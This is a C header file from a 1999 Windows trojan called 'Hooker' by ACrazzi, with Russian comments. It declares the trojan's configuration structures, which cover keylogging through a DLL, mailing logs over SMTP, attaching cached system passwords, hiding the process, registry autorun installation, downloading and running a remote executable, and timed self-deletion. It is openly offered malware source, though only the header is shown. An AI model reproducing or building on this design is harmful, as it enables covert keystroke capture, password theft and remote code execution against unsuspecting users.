/********************************************************************/
/*                                                                  */
/*                   Hooker, trojan module v2.x                     */
/*                         ACrazzi, 1999                            */
/*                                                                  */
/********************************************************************/

#ifndef HOOKER_H_ 
#define HOOKER_H_

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

#include "resource.h"

typedef DWORD (WINAPI RegisterServiceProcess)(DWORD,DWORD);
typedef RegisterServiceProcess* LPREGISTERSERVICEPROCESS;
typedef WORD (WINAPI WNetEnumCachedPasswords)(LPSTR, WORD, BYTE, void*, DWORD);
typedef WNetEnumCachedPasswords* LPWNETENUMCACHEDPASSWORDS;

typedef int (*LPGETDATA)(char*,int);
typedef bool (*LPKEYLOGOFF)(void);
typedef bool (*LPKEYLOGON)(void);
typedef void (*LPKEYLOGOPT)(int);

typedef HANDLE (WINAPI *CREATETOOL)(DWORD,DWORD);
typedef BOOL (WINAPI *FIRST32)(HANDLE,LPPROCESSENTRY32);
typedef BOOL (WINAPI *NEXT32)(HANDLE,LPPROCESSENTRY32);

#define MAX_SUBSTR 40   //Максимальное число субстрок для поиска
#define LOG_BUFFER_SIZE 0x4000 //Размер буфера под лог
#define REG_TEST_TIME 20       //Проверка на инстал в реестре

#ifdef _DEBUG

#define FLUSH_BUFFER_TIME 15   //Время обновления буфера (сек.)
#define MAIL_TEST_TIME 15      //Проверка на посылку мыла (сек.)
#define EXEC_START_TIME 1      //Проверка на изменение exe (мин.)
#define EXEC_TEST_TIME 10      //Exe download test (sec.)
#define CON_TEST_TIME 5        //Проверка на возниконовение соединения( sec.)

#else 

#define FLUSH_BUFFER_TIME 60   //Время обновления буфера (сек.)
#define MAIL_TEST_TIME 30      //Проверка на посылку мыла (сек.)
#define EXEC_START_TIME 30     //Проверка на изменение exe (мин.)
#define EXEC_TEST_TIME 20      //Exe download test (sec.)
#define CON_TEST_TIME 5        //Проверка на возниконовение соединения( sec.)
#endif

  
#pragma pack( 1 )   //отруб выравнивания структур

struct _AttachedData {
	WORD signature;      //Сигнатура 0x3104
	UINT loglimit;       //Предельный размер лога в байтах
	UINT sendafter;      //Если лог больше этого, то он мылится
	UINT reg_descr_ofs;  //Смещение описания в реестре
	UINT reg_path_ofs;   //Смещение пути в реестре куда себя инсталять
	UINT exe_ofs;        //Смещение имени экзешника
	UINT dll_ofs;        //Смещение имени кейлог-dll в файле
	UINT n_ss;           //Число субстрок для поиска
	UINT ss_ofs;         //Смещение этих субстрок в файле
	UINT logname_ofs;    //Смещение имени лога
	UINT host_ofs;       //Смещение имени мыльного сервака
	UINT mailfrom_ofs;   //Смещение вашего e-mail'a, серваку надо
	UINT mailto_ofs;     //Смещение имени ящика на который мылить
	UINT subj_ofs;       //Смещение сабжа мессаги
	UINT http_ofs;       //Смещение ареса удаленного .exe
	WORD port;           //Порт сендмэйла, обычно 25
	SYSTEMTIME send_i;   //Интервал между посылками сообщений
	SYSTEMTIME kill_i;   //Через сколько уничтожиться?
	WORD total_log:1;    //Постоянный кейлог?
	WORD encrypt_log:1;  //Шифровать лог?
	WORD send_mail:1;    //Посылать отчет по мылу?
	WORD syspass:1;      //Клеить к отчету системные пароли?
	WORD autokill:1;     //Килять себя?
	WORD fullname:1;     //Полное имя экзешника в реестре?
	WORD exepath:2;      //Куда? windows,windows\system,user-defined
	WORD ras:1;          //Юзать, Ras-функции для детекта i-net'a?
	WORD emp_log:1;      //Логить окна в которых ничего не нажато?
	WORD adv_log:1;      //ЛОгить все нажатия?
	UINT number;         //Идентификационный номер
};

struct _StartupInfo {
	WORD total_log:1;    //постоянный кейлог?
	WORD encrypt_log:1;  //шифровать лог?
	WORD send_mail:1;    //посылать отчет по мылу?
	WORD syspass:1;      //Клеить к отчету системные пароли?
	WORD autokill:1;     //Килять себя?
	WORD fullname:1;     //полное имя экзешника в реестре?
	WORD exepath:2;      //Куда? windows,windows\system,user-defined
	WORD ras:1;          //Юзать, Ras-функции для детекта i-net'a?
	UINT loglimit;       //предельный размер лога в байтах
	UINT sendafter;      //если размер лога больше этого, то мылить
	UINT logsize;        //текущий размер лога
	UINT nsubstr;	     //число субстрок для поиска
	char* substr[MAX_SUBSTR];//субстроки
	char logname[0x100]; //имя лога
	char host[0x100];    //IP или имя мыльного сервака
	char mailfrom[0x100];//Как представиться на серваке?
	char subj[0x100];    //Сабж в мессаге
	char mailto[0x100];  //Куда мылить?
	WORD port;           //Порт сендмэйла, обычно 25
	char exe_name[0x100];//Имя экзешника
	char dll_name[0x100];//Смещение имени кейлог-dll в файле
	char full_exe_name[0x100];//полное имя экзешника
	char reg_desc[0x100];//Описание в реестре
	char reg_path[0x100];//Путь в реестре
	char http[0x100];    //Адрес экзешника в и-нете
	SYSTEMTIME send_i;   //Интервал между посылками сообщений
	SYSTEMTIME send_d;   //Дата последней посылки
	SYSTEMTIME inst_d;   //Время инсталяции проги
	SYSTEMTIME kill_i;   //Через сколько уничтожиться?
	SYSTEMTIME lastexec; //Время послднего даунлоада и запуска.
	UINT number;         //Идентификационный номер
};

#endif